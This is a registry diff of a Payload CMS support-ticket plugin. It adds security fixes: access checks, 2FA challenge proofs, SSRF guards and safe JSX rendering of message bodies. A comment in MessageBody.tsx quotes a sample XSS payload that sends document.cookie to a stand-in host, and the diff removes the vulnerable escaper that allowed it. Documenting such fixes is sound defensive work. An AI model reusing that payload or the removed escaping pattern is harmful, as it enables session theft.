@consilioweb/payload-support 3.0.0 → 5.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +58 -14
- package/dist/index.cjs +673 -107
- package/dist/index.d.cts +40 -5
- package/dist/index.d.ts +40 -5
- package/dist/index.js +673 -107
- package/dist/utils/db.d.ts +34 -0
- package/dist/utils/readSettings.d.ts +90 -0
- package/dist/views/BillingView/index.js +4 -4
- package/dist/views/ChatView/index.js +4 -4
- package/dist/views/CrmView/index.js +4 -4
- package/dist/views/EmailTrackingView/index.js +4 -4
- package/dist/views/ImportConversationView/index.js +4 -4
- package/dist/views/LogsView/index.js +4 -2
- package/dist/views/NewTicketView/index.js +4 -2
- package/dist/views/PendingEmailsView/index.js +4 -4
- package/dist/views/SupportDashboardView/index.js +4 -4
- package/dist/views/TicketDetailView/index.js +4 -4
- package/dist/views/TicketInboxView/index.js +4 -2
- package/dist/views/TicketingSettingsView/index.js +4 -4
- package/dist/views/TimeDashboardView/index.js +4 -4
- package/dist/views/shared/viewAccess.d.ts +29 -0
- package/dist/views/shared/viewAccess.js +24 -0
- package/package.json +26 -20
- package/src/collections/ChatMessages.ts +59 -2
- package/src/collections/ClientSummaries.ts +10 -4
- package/src/collections/TicketMessages.ts +4 -1
- package/src/collections/WebhookEndpoints.ts +44 -2
- package/src/endpoints/admin-chat.ts +3 -3
- package/src/endpoints/ai-agent.ts +3 -3
- package/src/endpoints/ai.ts +3 -3
- package/src/endpoints/auth-2fa.ts +68 -11
- package/src/endpoints/capabilities.ts +7 -9
- package/src/endpoints/chat.ts +7 -5
- package/src/endpoints/chatbot.ts +50 -4
- package/src/endpoints/client-intelligence.ts +4 -4
- package/src/endpoints/email-stats.ts +19 -3
- package/src/endpoints/import-conversation.ts +3 -3
- package/src/endpoints/index.ts +1 -1
- package/src/endpoints/invite-collaborator.ts +29 -3
- package/src/endpoints/login.ts +28 -5
- package/src/endpoints/oauth-google.ts +130 -8
- package/src/endpoints/push.ts +14 -1
- package/src/endpoints/resend-notification.ts +3 -3
- package/src/endpoints/send-reminder.ts +3 -3
- package/src/endpoints/signature.ts +9 -2
- package/src/endpoints/statuses.ts +17 -0
- package/src/endpoints/ticket-synthesis.ts +3 -3
- package/src/endpoints/transfer-ticket.ts +28 -3
- package/src/endpoints/typing.ts +117 -14
- package/src/endpoints/user-prefs.ts +5 -2
- package/src/plugin.ts +12 -0
- package/src/portal/auth/layout.tsx +19 -1
- package/src/portal/auth/tickets/detail/MessageBody.tsx +88 -0
- package/src/portal/auth/tickets/detail/page.tsx +2 -6
- package/src/portal/login/page.tsx +23 -5
- package/src/utils/fireWebhooks.ts +4 -1
- package/src/utils/push.ts +22 -0
- package/src/utils/rateLimiter.ts +136 -4
- package/src/utils/readSettings.ts +124 -14
- package/src/utils/ticketAccess.ts +16 -1
- package/src/utils/twoFactorChallenge.ts +85 -0
- package/src/utils/urlSafety.ts +265 -0
- package/src/utils/webhookDispatcher.ts +5 -1
- package/src/views/BillingView/index.tsx +4 -4
- package/src/views/ChatView/index.tsx +4 -4
- package/src/views/CrmView/index.tsx +4 -4
- package/src/views/EmailTrackingView/index.tsx +4 -4
- package/src/views/ImportConversationView/index.tsx +4 -4
- package/src/views/LogsView/index.tsx +4 -2
- package/src/views/NewTicketView/index.tsx +4 -2
- package/src/views/PendingEmailsView/index.tsx +4 -4
- package/src/views/SupportDashboardView/index.tsx +4 -4
- package/src/views/TicketDetailView/index.tsx +4 -4
- package/src/views/TicketInboxView/index.tsx +4 -2
- package/src/views/TicketingSettingsView/index.tsx +4 -4
- package/src/views/TimeDashboardView/index.tsx +4 -4
- package/src/views/shared/viewAccess.ts +73 -0
package/src/endpoints/typing.ts
CHANGED
|
@@ -1,10 +1,36 @@
|
|
|
1
|
-
import type { Endpoint } from 'payload'
|
|
1
|
+
import type { Endpoint, PayloadRequest } from 'payload'
|
|
2
2
|
import type { CollectionSlugs } from '../utils/slugs'
|
|
3
|
+
import { dbFindByID } from '../utils/db'
|
|
3
4
|
|
|
4
|
-
|
|
5
|
+
/**
|
|
6
|
+
* Ephemeral "someone is typing" state, process-local.
|
|
7
|
+
*
|
|
8
|
+
* Three properties this map MUST keep, because it is fed by an HTTP endpoint:
|
|
9
|
+
* - keys are shaped like ticket ids, never a caller-supplied blob;
|
|
10
|
+
* - a key is only created by a principal that can actually READ that ticket;
|
|
11
|
+
* - the map is bounded, and expired entries are reclaimed without depending on
|
|
12
|
+
* a matching GET (`cleanExpired` used to run only on the read path, for the
|
|
13
|
+
* single id being read — nothing ever swept the rest).
|
|
14
|
+
*/
|
|
5
15
|
const typingState = new Map<string, { admin?: number; client?: number; adminName?: string; clientName?: string }>()
|
|
6
16
|
|
|
7
17
|
const TYPING_TTL = 5000 // 5 seconds
|
|
18
|
+
/** Hard ceiling on distinct ticket ids held at once — the state lives 5s. */
|
|
19
|
+
const MAX_TYPING_KEYS = 500
|
|
20
|
+
|
|
21
|
+
/**
|
|
22
|
+
* Ids are integers on SQL adapters and hex ObjectIds on Mongo, so the shape is
|
|
23
|
+
* validated rather than the type: printable id characters, bounded length. This
|
|
24
|
+
* caps the key SIZE; the access check below caps their NUMBER.
|
|
25
|
+
*/
|
|
26
|
+
const TICKET_ID_PATTERN = /^[A-Za-z0-9_-]{1,64}$/
|
|
27
|
+
|
|
28
|
+
function normalizeTicketId(raw: unknown): string | null {
|
|
29
|
+
if (typeof raw === 'number') return Number.isInteger(raw) && raw > 0 ? String(raw) : null
|
|
30
|
+
if (typeof raw !== 'string') return null
|
|
31
|
+
const value = raw.trim()
|
|
32
|
+
return TICKET_ID_PATTERN.test(value) ? value : null
|
|
33
|
+
}
|
|
8
34
|
|
|
9
35
|
function cleanExpired(ticketId: string) {
|
|
10
36
|
const state = typingState.get(ticketId)
|
|
@@ -21,6 +47,53 @@ function cleanExpired(ticketId: string) {
|
|
|
21
47
|
if (!state.admin && !state.client) typingState.delete(ticketId)
|
|
22
48
|
}
|
|
23
49
|
|
|
50
|
+
/** Reclaims every expired entry — the map is at most MAX_TYPING_KEYS long. */
|
|
51
|
+
function sweepExpired() {
|
|
52
|
+
for (const key of Array.from(typingState.keys())) cleanExpired(key)
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
/** Oldest signal first, so the ceiling evicts the least recently active ticket. */
|
|
56
|
+
function evictOldest() {
|
|
57
|
+
let oldestKey: string | null = null
|
|
58
|
+
let oldestTs = Infinity
|
|
59
|
+
for (const [key, state] of typingState) {
|
|
60
|
+
const ts = Math.max(state.admin || 0, state.client || 0)
|
|
61
|
+
if (ts < oldestTs) {
|
|
62
|
+
oldestTs = ts
|
|
63
|
+
oldestKey = key
|
|
64
|
+
}
|
|
65
|
+
}
|
|
66
|
+
if (oldestKey !== null) typingState.delete(oldestKey)
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
/**
|
|
70
|
+
* Can this principal see this ticket? Delegates to the `tickets` collection
|
|
71
|
+
* access rules — the SAME source of truth the rest of the plugin reads through
|
|
72
|
+
* (owner, collaborator, team scoping), instead of a second implementation that
|
|
73
|
+
* would drift from it. Any other auth collection of the host app is refused
|
|
74
|
+
* outright: the endpoint only ever spoke for staff and support-clients.
|
|
75
|
+
*/
|
|
76
|
+
async function mayAccessTicket(
|
|
77
|
+
req: PayloadRequest,
|
|
78
|
+
slugs: CollectionSlugs,
|
|
79
|
+
ticketId: string,
|
|
80
|
+
): Promise<boolean> {
|
|
81
|
+
const collection = (req.user as { collection?: string } | null)?.collection
|
|
82
|
+
if (collection !== slugs.users && collection !== slugs.supportClients) return false
|
|
83
|
+
try {
|
|
84
|
+
const doc = await dbFindByID(req.payload, slugs.tickets, {
|
|
85
|
+
id: ticketId,
|
|
86
|
+
depth: 0,
|
|
87
|
+
overrideAccess: false,
|
|
88
|
+
user: req.user,
|
|
89
|
+
})
|
|
90
|
+
return !!doc
|
|
91
|
+
} catch {
|
|
92
|
+
// Forbidden or NotFound — same answer either way, so no existence oracle.
|
|
93
|
+
return false
|
|
94
|
+
}
|
|
95
|
+
}
|
|
96
|
+
|
|
24
97
|
/**
|
|
25
98
|
* POST /api/support/typing — Signal that user is typing
|
|
26
99
|
*/
|
|
@@ -34,14 +107,23 @@ export function createTypingPostEndpoint(slugs: CollectionSlugs): Endpoint {
|
|
|
34
107
|
return Response.json({ error: 'Unauthorized' }, { status: 401 })
|
|
35
108
|
}
|
|
36
109
|
|
|
37
|
-
const { ticketId } = (await req.json!()) as { ticketId
|
|
38
|
-
|
|
110
|
+
const { ticketId } = (await req.json!()) as { ticketId?: unknown }
|
|
111
|
+
const key = normalizeTicketId(ticketId)
|
|
112
|
+
if (!key) {
|
|
39
113
|
return Response.json({ error: 'ticketId required' }, { status: 400 })
|
|
40
114
|
}
|
|
41
115
|
|
|
42
|
-
|
|
116
|
+
if (!(await mayAccessTicket(req, slugs, key))) {
|
|
117
|
+
return Response.json({ error: 'Forbidden' }, { status: 403 })
|
|
118
|
+
}
|
|
119
|
+
|
|
43
120
|
const state = typingState.get(key) || {}
|
|
44
121
|
|
|
122
|
+
if (!typingState.has(key) && typingState.size >= MAX_TYPING_KEYS) {
|
|
123
|
+
sweepExpired()
|
|
124
|
+
if (typingState.size >= MAX_TYPING_KEYS) evictOldest()
|
|
125
|
+
}
|
|
126
|
+
|
|
45
127
|
if (req.user.collection === slugs.users) {
|
|
46
128
|
state.admin = Date.now()
|
|
47
129
|
state.adminName = (req.user as any).firstName || 'Support'
|
|
@@ -67,35 +149,56 @@ export function createTypingGetEndpoint(slugs: CollectionSlugs): Endpoint {
|
|
|
67
149
|
path: '/support/typing',
|
|
68
150
|
method: 'get',
|
|
69
151
|
handler: async (req) => {
|
|
152
|
+
const idle = { typing: false, name: null }
|
|
70
153
|
try {
|
|
71
154
|
if (!req.user) {
|
|
72
155
|
return Response.json({ error: 'Unauthorized' }, { status: 401 })
|
|
73
156
|
}
|
|
74
157
|
|
|
75
158
|
const url = new URL(req.url!)
|
|
76
|
-
const
|
|
77
|
-
if (!
|
|
159
|
+
const key = normalizeTicketId(url.searchParams.get('ticketId'))
|
|
160
|
+
if (!key) {
|
|
78
161
|
return Response.json({ error: 'ticketId required' }, { status: 400 })
|
|
79
162
|
}
|
|
80
163
|
|
|
81
|
-
cleanExpired(
|
|
82
|
-
const state = typingState.get(
|
|
164
|
+
cleanExpired(key)
|
|
165
|
+
const state = typingState.get(key)
|
|
166
|
+
|
|
167
|
+
// Nothing to disclose: answer without touching the database. A caller
|
|
168
|
+
// with no right to the ticket gets this exact body too, so "idle" and
|
|
169
|
+
// "not yours" stay indistinguishable — and the 2s poll of every open
|
|
170
|
+
// ticket page costs no query in the common case.
|
|
171
|
+
if (!state) return Response.json(idle)
|
|
172
|
+
|
|
173
|
+
// There IS a name to hand out (the agent's first name, historically
|
|
174
|
+
// served to any authenticated caller for any ticket id) — check first.
|
|
175
|
+
if (!(await mayAccessTicket(req, slugs, key))) return Response.json(idle)
|
|
83
176
|
|
|
84
177
|
// Admin sees client typing, client sees admin typing
|
|
85
178
|
if (req.user.collection === slugs.users) {
|
|
86
179
|
return Response.json({
|
|
87
|
-
typing: !!state
|
|
88
|
-
name: state
|
|
180
|
+
typing: !!state.client,
|
|
181
|
+
name: state.clientName || null,
|
|
89
182
|
})
|
|
90
183
|
} else {
|
|
91
184
|
return Response.json({
|
|
92
|
-
typing: !!state
|
|
93
|
-
name: state
|
|
185
|
+
typing: !!state.admin,
|
|
186
|
+
name: state.adminName || null,
|
|
94
187
|
})
|
|
95
188
|
}
|
|
96
189
|
} catch {
|
|
97
|
-
return Response.json(
|
|
190
|
+
return Response.json(idle)
|
|
98
191
|
}
|
|
99
192
|
},
|
|
100
193
|
}
|
|
101
194
|
}
|
|
195
|
+
|
|
196
|
+
/** Test seam — the module-level map must not leak state across test cases. */
|
|
197
|
+
export function __resetTypingStateForTests(): void {
|
|
198
|
+
typingState.clear()
|
|
199
|
+
}
|
|
200
|
+
|
|
201
|
+
/** Test seam — the ceiling is the point of the fix, so it must be observable. */
|
|
202
|
+
export function __typingStateSizeForTests(): number {
|
|
203
|
+
return typingState.size
|
|
204
|
+
}
|
|
@@ -30,8 +30,11 @@ export function createUserPrefsGetEndpoint(slugs: CollectionSlugs): Endpoint {
|
|
|
30
30
|
|
|
31
31
|
const key = `${PREF_KEY_PREFIX}-${req.user!.id}`
|
|
32
32
|
|
|
33
|
+
// Scope to the staff auth collection: `payload-preferences` accepts a
|
|
34
|
+
// write from ANY authenticated principal, and ids collide between auth
|
|
35
|
+
// collections.
|
|
33
36
|
const prefs = await dbFind(payload, 'payload-preferences', {
|
|
34
|
-
where: { key: { equals: key } },
|
|
37
|
+
where: { key: { equals: key }, 'user.relationTo': { equals: slugs.users } },
|
|
35
38
|
limit: 1,
|
|
36
39
|
depth: 0,
|
|
37
40
|
overrideAccess: true,
|
|
@@ -75,7 +78,7 @@ export function createUserPrefsPostEndpoint(slugs: CollectionSlugs): Endpoint {
|
|
|
75
78
|
|
|
76
79
|
// Read existing prefs to merge
|
|
77
80
|
const existing = await dbFind(payload, 'payload-preferences', {
|
|
78
|
-
where: { key: { equals: key } },
|
|
81
|
+
where: { key: { equals: key }, 'user.relationTo': { equals: slugs.users } },
|
|
79
82
|
limit: 1,
|
|
80
83
|
depth: 0,
|
|
81
84
|
overrideAccess: true,
|
package/src/plugin.ts
CHANGED
|
@@ -31,6 +31,7 @@ import {
|
|
|
31
31
|
createSupportCountersCollection,
|
|
32
32
|
} from './collections'
|
|
33
33
|
import { PayloadRateLimitStore } from './utils/rateLimiter'
|
|
34
|
+
import { SUPPORT_STAFF_SLUG_CONFIG_KEY } from './utils/readSettings'
|
|
34
35
|
|
|
35
36
|
function viewConfig(component: string, path: string): AdminViewConfig {
|
|
36
37
|
return { Component: component, path: path as `/${string}` }
|
|
@@ -169,6 +170,17 @@ export function supportPlugin(config?: SupportPluginConfig): Plugin {
|
|
|
169
170
|
|
|
170
171
|
return {
|
|
171
172
|
...incomingConfig,
|
|
173
|
+
// Publish the resolved staff collection so the server-side readers share
|
|
174
|
+
// ONE source of truth with the writers. `requireAdmin` compares against
|
|
175
|
+
// `slugs.users`; the `payload-preferences` reads used to scope themselves
|
|
176
|
+
// on `config.admin.user`, which Payload silently defaults to the first
|
|
177
|
+
// auth collection of the host app — a different collection on any app
|
|
178
|
+
// that declares `collectionSlugs.users`, and the settings-poisoning hole
|
|
179
|
+
// reopened right there.
|
|
180
|
+
custom: {
|
|
181
|
+
...incomingConfig.custom,
|
|
182
|
+
[SUPPORT_STAFF_SLUG_CONFIG_KEY]: slugs.users,
|
|
183
|
+
},
|
|
172
184
|
collections: config?.skipCollections
|
|
173
185
|
? existingCollections
|
|
174
186
|
: [...existingCollections, ...supportCollections],
|
|
@@ -18,8 +18,26 @@ export type SupportUser = {
|
|
|
18
18
|
collection: 'support-clients'
|
|
19
19
|
}
|
|
20
20
|
|
|
21
|
+
/**
|
|
22
|
+
* The ONLY reliable discriminant is the auth collection the session belongs to.
|
|
23
|
+
*
|
|
24
|
+
* This used to be a duck test on the presence of a `company` field, which any
|
|
25
|
+
* user of another auth collection of the host app (front-office members,
|
|
26
|
+
* subscribers — `company` is a very common field on such a document) satisfied:
|
|
27
|
+
* they entered the portal shell instead of being redirected to the login page.
|
|
28
|
+
*
|
|
29
|
+
* `'support-clients'` is hard-coded on purpose — every other portal file already
|
|
30
|
+
* hard-codes it (`/api/support-clients/login`, `/api/support-clients/me`, the
|
|
31
|
+
* `user.collection` tests in `tickets/detail/page.tsx`), because the portal is a
|
|
32
|
+
* copied template with no access to the plugin's resolved `collectionSlugs`. An
|
|
33
|
+
* integrator who renames the collection must adjust the whole template.
|
|
34
|
+
*/
|
|
21
35
|
function isSupportUser(user: unknown): user is SupportUser {
|
|
22
|
-
return
|
|
36
|
+
return (
|
|
37
|
+
typeof user === 'object' &&
|
|
38
|
+
user !== null &&
|
|
39
|
+
(user as { collection?: unknown }).collection === 'support-clients'
|
|
40
|
+
)
|
|
23
41
|
}
|
|
24
42
|
|
|
25
43
|
async function getSupportUser(): Promise<SupportUser | null> {
|
|
@@ -0,0 +1,88 @@
|
|
|
1
|
+
import React from 'react'
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* Plain-text message bodies (`msg.body` with no `bodyHtml`) rendered as JSX.
|
|
5
|
+
*
|
|
6
|
+
* This used to be a `dangerouslySetInnerHTML` fed by a hand-rolled escaper that
|
|
7
|
+
* replaced `&`, `<` and `>` but NOT the double quote, then re-injected the link
|
|
8
|
+
* target into `href="$2"`. Since the URL pattern accepts every character but
|
|
9
|
+
* whitespace and `)`, a body such as
|
|
10
|
+
*
|
|
11
|
+
* [code:1](https://a"/onmouseover="fetch(`//evil.tld/?c=`+document.cookie))
|
|
12
|
+
*
|
|
13
|
+
* closed the `href` attribute and added a real event-handler attribute.
|
|
14
|
+
* `msg.body` is attacker-controlled from OUTSIDE the tenant: the inbound-email
|
|
15
|
+
* pipeline copies `pendingEmail.body` verbatim into a ticket message
|
|
16
|
+
* (`endpoints/pending-emails-process.ts`), and `sanitizeMessageHtml` only ever
|
|
17
|
+
* looks at `bodyHtml`.
|
|
18
|
+
*
|
|
19
|
+
* The fix is to stop building HTML: React escapes text nodes and attribute
|
|
20
|
+
* values on its own, so no quoting mistake is possible. The URL is additionally
|
|
21
|
+
* parsed and restricted to http/https before it reaches an `href`.
|
|
22
|
+
*
|
|
23
|
+
* Newlines need no `<br/>`: the wrapper carries `whitespace-pre-wrap`.
|
|
24
|
+
*/
|
|
25
|
+
|
|
26
|
+
/** `[code:12](https://…)` — the shared-code link marker posted by the agent console. */
|
|
27
|
+
const CODE_LINK_RE = /\[code:(\d+)\]\((https?:\/\/[^\s)]+)\)/g
|
|
28
|
+
|
|
29
|
+
/** Returns the URL only when it parses AND uses an http(s) scheme; null otherwise. */
|
|
30
|
+
export function safeHttpUrl(raw: string): string | null {
|
|
31
|
+
try {
|
|
32
|
+
const url = new URL(raw)
|
|
33
|
+
if (url.protocol !== 'http:' && url.protocol !== 'https:') return null
|
|
34
|
+
return url.toString()
|
|
35
|
+
} catch {
|
|
36
|
+
return null
|
|
37
|
+
}
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
/**
|
|
41
|
+
* Split a plain-text body into text nodes and `<a>` elements.
|
|
42
|
+
* Exported (rather than inlined in the page) so the escaping contract is
|
|
43
|
+
* unit-testable — the page itself imports `@payload-config` and cannot be
|
|
44
|
+
* loaded from a test.
|
|
45
|
+
*/
|
|
46
|
+
export function renderPlainMessageBody(body: string): React.ReactNode[] {
|
|
47
|
+
const nodes: React.ReactNode[] = []
|
|
48
|
+
const re = new RegExp(CODE_LINK_RE.source, 'g')
|
|
49
|
+
let lastIndex = 0
|
|
50
|
+
let match: RegExpExecArray | null
|
|
51
|
+
|
|
52
|
+
while ((match = re.exec(body)) !== null) {
|
|
53
|
+
if (match.index > lastIndex) nodes.push(body.slice(lastIndex, match.index))
|
|
54
|
+
|
|
55
|
+
const href = safeHttpUrl(match[2])
|
|
56
|
+
if (href) {
|
|
57
|
+
nodes.push(
|
|
58
|
+
<a
|
|
59
|
+
key={`code-${match.index}`}
|
|
60
|
+
href={href}
|
|
61
|
+
target="_blank"
|
|
62
|
+
rel="noopener noreferrer"
|
|
63
|
+
className="text-blue-600 underline font-semibold"
|
|
64
|
+
>
|
|
65
|
+
🔗 Voir le code partagé
|
|
66
|
+
</a>,
|
|
67
|
+
)
|
|
68
|
+
} else {
|
|
69
|
+
// Not a usable link — show the raw marker as text rather than dropping it.
|
|
70
|
+
nodes.push(match[0])
|
|
71
|
+
}
|
|
72
|
+
|
|
73
|
+
lastIndex = match.index + match[0].length
|
|
74
|
+
}
|
|
75
|
+
|
|
76
|
+
if (lastIndex < body.length) nodes.push(body.slice(lastIndex))
|
|
77
|
+
return nodes
|
|
78
|
+
}
|
|
79
|
+
|
|
80
|
+
export function PlainMessageBody({ body }: { body: string }) {
|
|
81
|
+
return (
|
|
82
|
+
<div className="whitespace-pre-wrap text-sm leading-relaxed">
|
|
83
|
+
{renderPlainMessageBody(body ?? '').map((node, i) => (
|
|
84
|
+
<React.Fragment key={i}>{node}</React.Fragment>
|
|
85
|
+
))}
|
|
86
|
+
</div>
|
|
87
|
+
)
|
|
88
|
+
}
|
|
@@ -16,6 +16,7 @@ import { TypingIndicator } from './TypingIndicator'
|
|
|
16
16
|
import { MessageActions, EditedBadge, DeletedMessage } from './MessageActions'
|
|
17
17
|
import { ReadReceipt } from './ReadReceipt'
|
|
18
18
|
import { TransferAndInviteActions } from './TransferAndInviteActions'
|
|
19
|
+
import { PlainMessageBody } from './MessageBody'
|
|
19
20
|
// Document type for ticket attachments
|
|
20
21
|
type PayloadDocument = { filename?: string; title?: string; url?: string }
|
|
21
22
|
|
|
@@ -655,12 +656,7 @@ export default async function TicketDetailPage({ params }: { params: Promise<{ i
|
|
|
655
656
|
dangerouslySetInnerHTML={{ __html: msg.bodyHtml }}
|
|
656
657
|
/>
|
|
657
658
|
) : (
|
|
658
|
-
<
|
|
659
|
-
__html: msg.body
|
|
660
|
-
.replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>')
|
|
661
|
-
.replace(/\[code:(\d+)\]\((https?:\/\/[^\s)]+)\)/g, '<a href="$2" target="_blank" rel="noopener noreferrer" class="text-blue-600 underline font-semibold">🔗 Voir le code partagé</a>')
|
|
662
|
-
.replace(/\n/g, '<br/>')
|
|
663
|
-
}} />
|
|
659
|
+
<PlainMessageBody body={msg.body} />
|
|
664
660
|
)}
|
|
665
661
|
|
|
666
662
|
{/* Attachments */}
|
|
@@ -32,6 +32,13 @@ function SupportLoginContent() {
|
|
|
32
32
|
|
|
33
33
|
// 2FA state
|
|
34
34
|
const [needs2FA, setNeeds2FA] = useState(false)
|
|
35
|
+
// Proof that the password step succeeded, minted by /support/login. Required
|
|
36
|
+
// by BOTH branches of /support/2fa: `send` no longer mails a code to anyone
|
|
37
|
+
// who merely knows the address, and `verify` no longer lets such a caller
|
|
38
|
+
// burn the 5 verification attempts of the address they typed. Each accepted
|
|
39
|
+
// `send` returns a refreshed proof, so it stays valid as long as the code it
|
|
40
|
+
// just minted — keep the latest one.
|
|
41
|
+
const [challenge, setChallenge] = useState('')
|
|
35
42
|
const [twoFactorCode, setTwoFactorCode] = useState('')
|
|
36
43
|
const [sending2FA, setSending2FA] = useState(false)
|
|
37
44
|
|
|
@@ -60,13 +67,16 @@ function SupportLoginContent() {
|
|
|
60
67
|
if (data.requires2FA) {
|
|
61
68
|
// Send 2FA code
|
|
62
69
|
setSending2FA(true)
|
|
70
|
+
setChallenge(data.challenge || '')
|
|
63
71
|
const codeRes = await fetch('/api/support/2fa', {
|
|
64
72
|
method: 'POST',
|
|
65
73
|
headers: { 'Content-Type': 'application/json' },
|
|
66
|
-
body: JSON.stringify({ action: 'send', email }),
|
|
74
|
+
body: JSON.stringify({ action: 'send', email, challenge: data.challenge }),
|
|
67
75
|
})
|
|
68
76
|
|
|
69
77
|
if (codeRes.ok) {
|
|
78
|
+
const codeData = await codeRes.json().catch(() => ({}))
|
|
79
|
+
if (codeData?.challenge) setChallenge(codeData.challenge)
|
|
70
80
|
setNeeds2FA(true)
|
|
71
81
|
} else {
|
|
72
82
|
setError('Erreur lors de l\'envoi du code de vérification.')
|
|
@@ -93,13 +103,16 @@ function SupportLoginContent() {
|
|
|
93
103
|
const verifyRes = await fetch('/api/support/2fa', {
|
|
94
104
|
method: 'POST',
|
|
95
105
|
headers: { 'Content-Type': 'application/json' },
|
|
96
|
-
body: JSON.stringify({ action: 'verify', email, code: twoFactorCode }),
|
|
106
|
+
body: JSON.stringify({ action: 'verify', email, code: twoFactorCode, challenge }),
|
|
97
107
|
})
|
|
98
108
|
|
|
99
109
|
const verifyData = await verifyRes.json()
|
|
100
110
|
|
|
101
111
|
if (!verifyRes.ok || !verifyData.verified) {
|
|
102
|
-
|
|
112
|
+
// 401 = the proof of the password step expired (10 min), not a bad code.
|
|
113
|
+
setError(verifyRes.status === 401
|
|
114
|
+
? 'Session expirée. Reconnectez-vous pour recevoir un nouveau code.'
|
|
115
|
+
: verifyData.error || 'Code incorrect.')
|
|
103
116
|
return
|
|
104
117
|
}
|
|
105
118
|
|
|
@@ -130,12 +143,17 @@ function SupportLoginContent() {
|
|
|
130
143
|
const res = await fetch('/api/support/2fa', {
|
|
131
144
|
method: 'POST',
|
|
132
145
|
headers: { 'Content-Type': 'application/json' },
|
|
133
|
-
body: JSON.stringify({ action: 'send', email }),
|
|
146
|
+
body: JSON.stringify({ action: 'send', email, challenge }),
|
|
134
147
|
})
|
|
135
148
|
if (res.ok) {
|
|
149
|
+
const data = await res.json().catch(() => ({}))
|
|
150
|
+
if (data?.challenge) setChallenge(data.challenge)
|
|
136
151
|
setError('')
|
|
137
152
|
} else {
|
|
138
|
-
|
|
153
|
+
// 401 = the challenge expired (10 min): the password must be re-entered.
|
|
154
|
+
setError(res.status === 401
|
|
155
|
+
? 'Session expirée. Reconnectez-vous pour recevoir un nouveau code.'
|
|
156
|
+
: 'Erreur lors du renvoi du code.')
|
|
139
157
|
}
|
|
140
158
|
} catch {
|
|
141
159
|
setError('Erreur de connexion.')
|
|
@@ -1,6 +1,7 @@
|
|
|
1
1
|
import type { Payload } from 'payload'
|
|
2
2
|
import type { CollectionSlugs } from './slugs'
|
|
3
3
|
import { dbFind, dbUpdate } from './db'
|
|
4
|
+
import { safeFetch } from './urlSafety'
|
|
4
5
|
|
|
5
6
|
/**
|
|
6
7
|
* Fire all active webhooks matching the given event.
|
|
@@ -39,7 +40,9 @@ export async function fireWebhooks(
|
|
|
39
40
|
await Promise.allSettled(
|
|
40
41
|
endpoints.docs.map(async (endpoint: any) => {
|
|
41
42
|
try {
|
|
42
|
-
|
|
43
|
+
// Same SSRF guards as `dispatchWebhook` — this transport is deprecated
|
|
44
|
+
// but still exported, so it must not stay an open door.
|
|
45
|
+
const res = await safeFetch(endpoint.url, {
|
|
43
46
|
method: 'POST',
|
|
44
47
|
headers: {
|
|
45
48
|
'Content-Type': 'application/json',
|
package/src/utils/push.ts
CHANGED
|
@@ -2,6 +2,7 @@ import type { Payload } from 'payload'
|
|
|
2
2
|
import type { CollectionSlugs } from './slugs'
|
|
3
3
|
import { dbFind, dbDelete } from './db'
|
|
4
4
|
import webpush from 'web-push'
|
|
5
|
+
import { assertPublicHost, validatePushEndpoint } from './urlSafety'
|
|
5
6
|
|
|
6
7
|
let configured = false
|
|
7
8
|
function ensureVapid(): boolean {
|
|
@@ -43,6 +44,27 @@ export async function sendPushToUser(
|
|
|
43
44
|
for (const s of subs.docs) {
|
|
44
45
|
const row = s as { id: number | string; endpoint?: string; p256dh?: string; auth?: string }
|
|
45
46
|
if (!row.endpoint || !row.p256dh || !row.auth) continue
|
|
47
|
+
|
|
48
|
+
// SEND-time SSRF guard, the second of the two layers `utils/urlSafety`
|
|
49
|
+
// describes. It is not redundant with the write-time check: it also covers
|
|
50
|
+
// rows persisted BEFORE that check existed, and a name whose DNS record is
|
|
51
|
+
// flipped to a private address after the row was accepted. `web-push`
|
|
52
|
+
// builds its own `https.request`, so `safeFetch` cannot wrap it — this is
|
|
53
|
+
// the layer that stands in for it.
|
|
54
|
+
//
|
|
55
|
+
// A blocked row is SKIPPED, never deleted: `assertPublicHost` fails closed
|
|
56
|
+
// on a resolver timeout, and a hiccup must not purge a legitimate agent's
|
|
57
|
+
// subscription. Only a real 404/410 from the push service prunes below.
|
|
58
|
+
const check = validatePushEndpoint(row.endpoint)
|
|
59
|
+
if (!check.ok || !check.url) {
|
|
60
|
+
console.warn('[support] Push endpoint refused (unsafe URL):', check.reason)
|
|
61
|
+
continue
|
|
62
|
+
}
|
|
63
|
+
if (!(await assertPublicHost(check.url.hostname))) {
|
|
64
|
+
console.warn('[support] Push endpoint refused (host resolves to a private address)')
|
|
65
|
+
continue
|
|
66
|
+
}
|
|
67
|
+
|
|
46
68
|
try {
|
|
47
69
|
await webpush.sendNotification(
|
|
48
70
|
{ endpoint: row.endpoint, keys: { p256dh: row.p256dh, auth: row.auth } },
|